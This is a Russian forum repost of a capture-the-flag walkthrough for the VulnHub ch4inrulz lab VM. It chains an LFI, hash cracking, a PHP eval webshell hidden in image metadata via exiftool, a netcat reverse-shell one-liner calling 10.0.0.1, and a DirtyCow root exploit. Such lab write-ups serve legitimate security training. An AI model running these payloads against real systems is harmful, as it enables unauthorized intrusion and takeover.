• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Цепная реакция. Разбираем уязвимость от забытого комментария до полной компрометации

tabac

CPU register
Пользователь
Регистрация
30.09.2018
Сообщения
1 610
Решения
1
Реакции
3 332
Цепная реакция. Разбираем уязвимость от забытого комментария до полной компрометации

В этой статье нам предстоит преодолеть длинную цепочку препятствий на пути к заветному руту. По дороге мы в разных вариантах обнаружим уязвимости типа LFI, RCE и эскалации привилегий. А упражняться будем на виртуальной машине ch4inrulz: 1.0.1, полученной с VulhHub.

VulnHub — ресурс, предоставляющий образы операционных систем с сервисами, в которых «зашиты» уязвимости. Скачав такой образ, любой желающий может получить опыт взлома или системного администрирования.

Сканирование портов
Итак, мы скачали и развернули виртуальную машину. Начнем с классики: сканируем ее при помощи Nmap. Для этого выполним такую команду (если захочешь повторить, IP будет другим):

Код:
$ nmap -Pn -A 192.168.56.101
image1.png


Обнаруживаем, что у тачки торчат порты 21/22, то есть FTP и SSH, а также 80 и 8011 — с веб-сервером.

Можно, конечно, первым делом ринуться на FTP, но делать этого мы не будем, а вместо этого постучимся на веб-сервер и проведем небольшую разведку. На 80-м порте видим сайт некоего Франка, но никакого интересного интерактива на нем нет.

image2.png


На 8011-м порте видим заманчивое сообщение, но больше ничего полезного на странице не нашлось.

image3.png



Фаззинг директорий
Пришло время фаззинга директорий! Делается он для того, чтобы обнаружить какие-то стандартные или интересные пути, где могут быть забыты важные файлы или сервисы, которые нам могут помочь в дальнейшей работе.

Первым мы исследовали 80-й порт, где обнаружился путь /development.

image4.png

image5.png


Тут нас встречает basic authentication — пробуем HTTP Verb Tampering, но безуспешно.

HTTP Verb Tampering — атака, которая использует уязвимость в HTTP-Verb-аутентификации и механизмах контроля доступа. Многие механизмы аутентификации только ограничивают доступ по своим параметрам, не предусматривая несанкционированный доступ к закрытым ресурсам с помощью других методов.

image7.png


Можно начать брутить, но прежде посмотрим, что нам даст фаззинг на 8011-м порте.

image6.png


Интересно! Кажется, мы нашли API какого-то приложения. Срочно лезем смотреть!

image8.png



Local File Inclusion
Из перечисленных файлов в живых остался только files_api.php.

image9.png


Окей, для работы скрипта требуется параметр file. Давай передадим его.

image10.png


Кажется, нас спалили! Попытка перебора стандартных файлов и проверка на напрашивающийся LFI не сработали через запросы GET. На данном этапе эта точка наиболее интересна, так что давай попробуем поиграться с ней, а не копать дальше. Первая мысль, что пришла в голову: а что, если попробовать POST?

image11.png


Успех! Нам даже не пришлось заморачиваться с врапперами, null-байтами и прочими ухищрениями для тестирования возможности эксплуатации уязвимостей типа LFI, которую мы заподозрили ранее.

Теперь хотелось бы посмотреть на исходники веб-приложений. Для этого придется немного помучиться с угадыванием путей, что в итоге приведет нас к следующему.

image12.png


Для поиска путей можно использовать разные словари, однако нам хватило и ручного перебора по стандартным вебовым путям из головы.

Отлично, теперь мы знаем, что корневая папка веба — /var/www. Попытка проверить содержание конфигурационных файлов в этой директории не увенчалась успехом, но мы знаем про папку /development. А там нас ждет очередная удача.

image13.png


Теперь заглянем в /etc/.htpasswd.

image14.png


А вот, кажется, и креды от basic authentication. Осталось сломать хеш от пароля.

Воспользуемся для этого утилитой hashcat и словариком rockyou.

Код:
$ hashcat -a 0 -m 1600 hash Downloads/rockyou.txt
Здесь
  • -a 0 — тип атаки по словарю;
  • -m 1600 — номер типа хеша. В нашем случае — Apache $apr1$ MD5, md5apr1, MD5 (APR). Узнать этот номер можно здесь;
  • hash — файлик с хешем $apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0;
  • Downloads/rockyou.txt — путь до словаря.
В результате получаем пароль!

image15.png


Кстати, потом обнаружилось, что хеш можно было получить, выкачав доступный index.html.bak на 80-м порте, но было уже поздно.

Мы же бежим смотреть, что находится за basic authentication с кредами frank:frank!!!. Там нас встречает следующая страница.

image16.png


Опять никаких ссылок, и нам снова приходится мучиться с угадыванием пути, но тут все тривиально.

image17.png


Мы нашли сервис для загрузки картинок. Заманчиво, но давай сначала взглянем на исходники. Как ты помнишь, мы уже можем это сделать. Но без врапперов тут уже не обойтись.

image18.png


Раскрываем это в читабельном виде.

image19.png


Получили следующий исходник.
PHP:
<?php
$target_dir = "FRANKuploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
    $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
    if($check !== false) {
        echo "File is an image - " . $check["mime"] . ".";
        $uploadOk = 1;
    } else {
        echo "File is not an image.";
        $uploadOk = 0;
    }
}
// Check if file already exists
if (file_exists($target_file)) {
    echo "Sorry, file already exists.";
    $uploadOk = 0;
}
// Check file size
if ($_FILES["fileToUpload"]["size"] > 500000) {
    echo "Sorry, your file is too large.";
    $uploadOk = 0;
}
// Allow certain file formats
if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg"
&& $imageFileType != "gif" ) {
    echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed.";
    $uploadOk = 0;
}
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
    echo "Sorry, your file was not uploaded.";
// if everything is ok, try to upload file
} else {
    if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
        echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded to my uploads path.";
    } else {
        echo "Sorry, there was an error uploading your file.";
    }
}
?>
Первая идея — впихнуть в метаданные картинки код на PHP, который мы потом сможем исполнить благодаря обнаруженной ранее LFI.

Осталось подготовить пейлоад. Для этого берем любую картинку в JPG и с помощью exiftool положим в comment нужный нам код при помощи вот такой команды:
Код:
$ exiftool -comment="<?php eval(\$_POST[0]); ?>" payload1.jpg

image20.png


Теперь идем загружать!

image21.png


Отлично, но где сам файл? Самые наблюдательные могли увидеть его в сорцах, которые мы вытащили ранее.

image22.png


Пора инклудить!

image23.png


Ура!


Получаем RCE
Теперь формируем запрос на проброс реверс-шелла. Если подробнее, то URL-энкодим вот такой пейлоад:
Код:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
Затем отправляем его в функции urldecode и system. Кстати, разные полезные нагрузки ты можешь позаимствовать здесь.

image24.png


В результате ловим сессию.

image25.png



Эскалация привилегий
Проверим, что за система крутится на тачке.

image26.png


Нам несказанно повезло, ведь мы можем получить рут при помощи эксплоита для уязвимости DirtyCow. Находим его в ExploitDB и, следуя инструкции, исполняем.

image27.png

image28.png


Тачка наша, расходимся!


Кратко о главном
На машине мы обнаружили торчащие наружу FTP (который в нашем решении не пригодился), SSH и два веб-приложения. Благодаря LFI в одном из них мы разжились кредами для basic authentication, где нашелся сервис для аплоада картинок. Загрузив вредоносную картинку, мы получили RCE, проинклудив ее через LFI. Далее мы завладели правами рута при помощи эксплоита DirtyCow. Вот и все! При желании можешь скачать виртуалку и попробовать проделать все то же, не подглядывая сюда.


(c) авторы
askuratov (Андрей Скуратов)
smigalin (Сергей Мигалин)
cyberpunkych (Михаил Фирстов)
хакер.ру
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Каждый год думаешь что с эксплоитами уже все но постоянно что то находят.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх